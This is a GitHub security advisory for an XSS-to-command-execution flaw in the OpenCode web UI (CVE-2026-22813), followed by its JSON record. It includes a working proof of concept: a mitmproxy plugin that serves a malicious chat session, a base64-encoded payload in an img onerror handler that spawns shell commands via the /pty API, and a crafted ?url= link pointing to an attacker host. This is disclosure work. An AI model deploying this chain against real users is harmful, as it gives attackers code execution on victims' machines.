GHSA-C83V-7274-4VGP

Vulnerability from github – Published: 2026-01-13 20:36 – Updated: 2026-01-13 20:36
VLAI?
Summary
Malicious website can execute commands on the local system through XSS in the OpenCode web UI
Details

Summary

A malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on http://localhost:4096. From there, it is possible to run arbitrary commands on the local system using the /pty/ endpoints provided by the OpenCode API.

Code execution via OpenCode API

  • The OpenCode API has /pty/ endpoints that allow spawning arbitrary processes on the local machine.
  • When you run opencode in your terminal, OpenCode automatically starts an HTTP server on localhost:4096 that exposes the API along with a web interface.
  • JavaScript can make arbitrary same-origin fetch() requests to the /pty/ API endpoints. Therefore, JavaScript execution on http://localhost:4096 gets you code execution on local the machine.

JavaScript execution on localhost:4096

The markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.

This means controlling the LLM response for a chat session gets you JavaScript execution on the http://localhost:4096 origin. This alone would not be enough for a 1-click exploit, but there's functionality in packages/app/src/app.tsx to allow specifying a custom server URL in a ?url=... parameter:

// packages/app/src/app.tsx
const defaultServerUrl = iife(() => {
  const param = new URLSearchParams(document.location.search).get("url")
  if (param) return param

  // [truncated]

  return window.location.origin
})

Using this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display ses_45d2d9723ffeHN2DLrTYMz4mHn from the attacker-controlled server at https://opencode.attacker.example.

Note on exploitability

Because the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the ?url= parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of Fri, 09 Jan 2026 21:36:31 GMT. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0.

Proof of Concept

A simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.

  1. Spawn an OpenCode instance in a Docker container
$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0
  1. Create a file called plugin.py with the contents below
import base64
import json

payload = """
(async () => {
    // const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']};
    const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']};
    const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}});
    const pty_id = (await r.json())['id'];
    await new Promise(r => setTimeout(r, 500));
    await fetch('/pty/' + pty_id, {method: 'DELETE'})
    window.location.replace('https://example.com');
})()
"""

# Other messages have been removed from this codeblock for brevity
malicious_messages = [
    #  [truncated]
    {
        # [truncated]
        "parts": [
            # [truncated]
            {
                "id": "prt_ba2d26ca0001fcRfwfEZ4bP7gF",
                "sessionID": "ses_45d2d9723ffeHN2DLrTYMz4mHn",
                "messageID": "msg_ba2d269130016guS0KSZ0FY2J9",
                "type": "text",
                "text": f"Hello, World!\n<img src=\"/favicon.png\" onerror=\"eval(atob('{base64.b64encode(payload.encode()).decode()}'))\" style=\"display: none;\">",
                "time": {
                    "start": 1767963258360,
                    "end": 1767963258360
                }
            },
            # [truncated]
        ]
    }
]

malicious_session = {"id":"ses_45d2d9723ffeHN2DLrTYMz4mHn","version":"1.0.220","projectID":"global","directory":"/","title":"Hello World!","time":{"created":1767963257052,"updated":1767963258366},"summary":{"additions":0,"deletions":0,"files":0}}

async def response(flow):
    if flow.request.path.split('?')[0] == '/session':
        flow.response.text = json.dumps([malicious_session], separators=(',', ':'))
    elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn':
        flow.response.status_code = 200
        flow.response.text = json.dumps(malicious_session, separators=(',', ':'))
    elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message':
        flow.response.text = json.dumps(malicious_messages, separators=(',', ':'))
  1. Start mitmproxy with the plugin in reverse proxy mode
$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096
  1. Start OpenCode in your terminal as the victim
$ opencode
  1. Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345

  2. Confirm the file albert-was-here.txt was created in the /tmp/ directory

$ ls /tmp/
albert-was-here.txt
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "opencode-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22813"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-13T20:36:41Z",
    "nvd_published_at": "2026-01-12T23:15:53Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on `http://localhost:4096`. From there, it is possible to run arbitrary commands on the local system using the `/pty/` endpoints provided by the OpenCode API.\n\n### Code execution via OpenCode API\n\n- The OpenCode API has `/pty/` endpoints that allow spawning arbitrary processes on the local machine.\n- When you run `opencode` in your terminal, OpenCode automatically starts an HTTP server on `localhost:4096` that exposes the API along with a web interface.\n- JavaScript can make arbitrary same-origin `fetch()` requests to the `/pty/` API endpoints. Therefore, JavaScript execution on `http://localhost:4096` gets you code execution on local the machine.\n\n### JavaScript execution on localhost:4096   \n\nThe markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.\n\nThis means controlling the LLM response for a chat session gets you JavaScript execution on the `http://localhost:4096` origin. This alone would not be enough for a 1-click exploit, but there\u0027s functionality in `packages/app/src/app.tsx` to allow specifying a custom server URL in a `?url=...` parameter:\n\n```javascript\n// packages/app/src/app.tsx\nconst defaultServerUrl = iife(() =\u003e {\n  const param = new URLSearchParams(document.location.search).get(\"url\")\n  if (param) return param\n  \n  // [truncated]\n  \n  return window.location.origin\n})\n```\n\nUsing this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display `ses_45d2d9723ffeHN2DLrTYMz4mHn` from the attacker-controlled server at https://opencode.attacker.example.\n\n### Note on exploitability\n\nBecause the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the `?url=` parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of `Fri, 09 Jan 2026 21:36:31 GMT`. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0. \n\n### Proof of Concept\n\nA simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.\n\n1. Spawn an OpenCode instance in a Docker container\n\n```\n$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0\n```\n\n2. Create a file called `plugin.py` with the contents below\n\n```python\nimport base64\nimport json\n\npayload = \"\"\"\n(async () =\u003e {\n    // const ptyInit = {\u0027command\u0027:\u0027/bin/sh\u0027, \u0027args\u0027: [\u0027-c\u0027, \u0027open -F -a Calculator.app\u0027]};\n    const ptyInit = {\u0027command\u0027:\u0027/bin/sh\u0027, \u0027args\u0027: [\u0027-c\u0027, \u0027touch /tmp/albert-was-here.txt\u0027]};\n    const r = await fetch(\u0027/pty\u0027, {method: \u0027POST\u0027, body: JSON.stringify(ptyInit), headers: {\u0027Content-Type\u0027: \u0027application/json\u0027}});\n    const pty_id = (await r.json())[\u0027id\u0027];\n    await new Promise(r =\u003e setTimeout(r, 500));\n    await fetch(\u0027/pty/\u0027 + pty_id, {method: \u0027DELETE\u0027})\n    window.location.replace(\u0027https://example.com\u0027);\n})()\n\"\"\"\n\n# Other messages have been removed from this codeblock for brevity\nmalicious_messages = [\n    #  [truncated]\n    {\n        # [truncated]\n        \"parts\": [\n            # [truncated]\n            {\n                \"id\": \"prt_ba2d26ca0001fcRfwfEZ4bP7gF\",\n                \"sessionID\": \"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\n                \"messageID\": \"msg_ba2d269130016guS0KSZ0FY2J9\",\n                \"type\": \"text\",\n                \"text\": f\"Hello, World!\\n\u003cimg src=\\\"/favicon.png\\\" onerror=\\\"eval(atob(\u0027{base64.b64encode(payload.encode()).decode()}\u0027))\\\" style=\\\"display: none;\\\"\u003e\",\n                \"time\": {\n                    \"start\": 1767963258360,\n                    \"end\": 1767963258360\n                }\n            },\n            # [truncated]\n        ]\n    }\n]\n\nmalicious_session = {\"id\":\"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\"version\":\"1.0.220\",\"projectID\":\"global\",\"directory\":\"/\",\"title\":\"Hello World!\",\"time\":{\"created\":1767963257052,\"updated\":1767963258366},\"summary\":{\"additions\":0,\"deletions\":0,\"files\":0}}\n\nasync def response(flow):\n    if flow.request.path.split(\u0027?\u0027)[0] == \u0027/session\u0027:\n        flow.response.text = json.dumps([malicious_session], separators=(\u0027,\u0027, \u0027:\u0027))\n    elif flow.request.path.split(\u0027?\u0027)[0] == \u0027/session/ses_45d2d9723ffeHN2DLrTYMz4mHn\u0027:\n        flow.response.status_code = 200\n        flow.response.text = json.dumps(malicious_session, separators=(\u0027,\u0027, \u0027:\u0027))\n    elif flow.request.path.split(\u0027?\u0027)[0] == \u0027/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message\u0027:\n        flow.response.text = json.dumps(malicious_messages, separators=(\u0027,\u0027, \u0027:\u0027))\n```\n\n3. Start mitmproxy with the plugin in reverse proxy mode\n\n```\n$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096\n```\n\n4. Start OpenCode in your terminal as the victim\n\n```\n$ opencode\n```\n\n5. Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345\n\n6. Confirm the file `albert-was-here.txt` was created in the `/tmp/` directory\n\n```\n$ ls /tmp/\nalbert-was-here.txt\n```",
  "id": "GHSA-c83v-7274-4vgp",
  "modified": "2026-01-13T20:36:42Z",
  "published": "2026-01-13T20:36:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22813"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/anomalyco/opencode"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Malicious website can execute commands on the local system through XSS in the OpenCode web UI"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…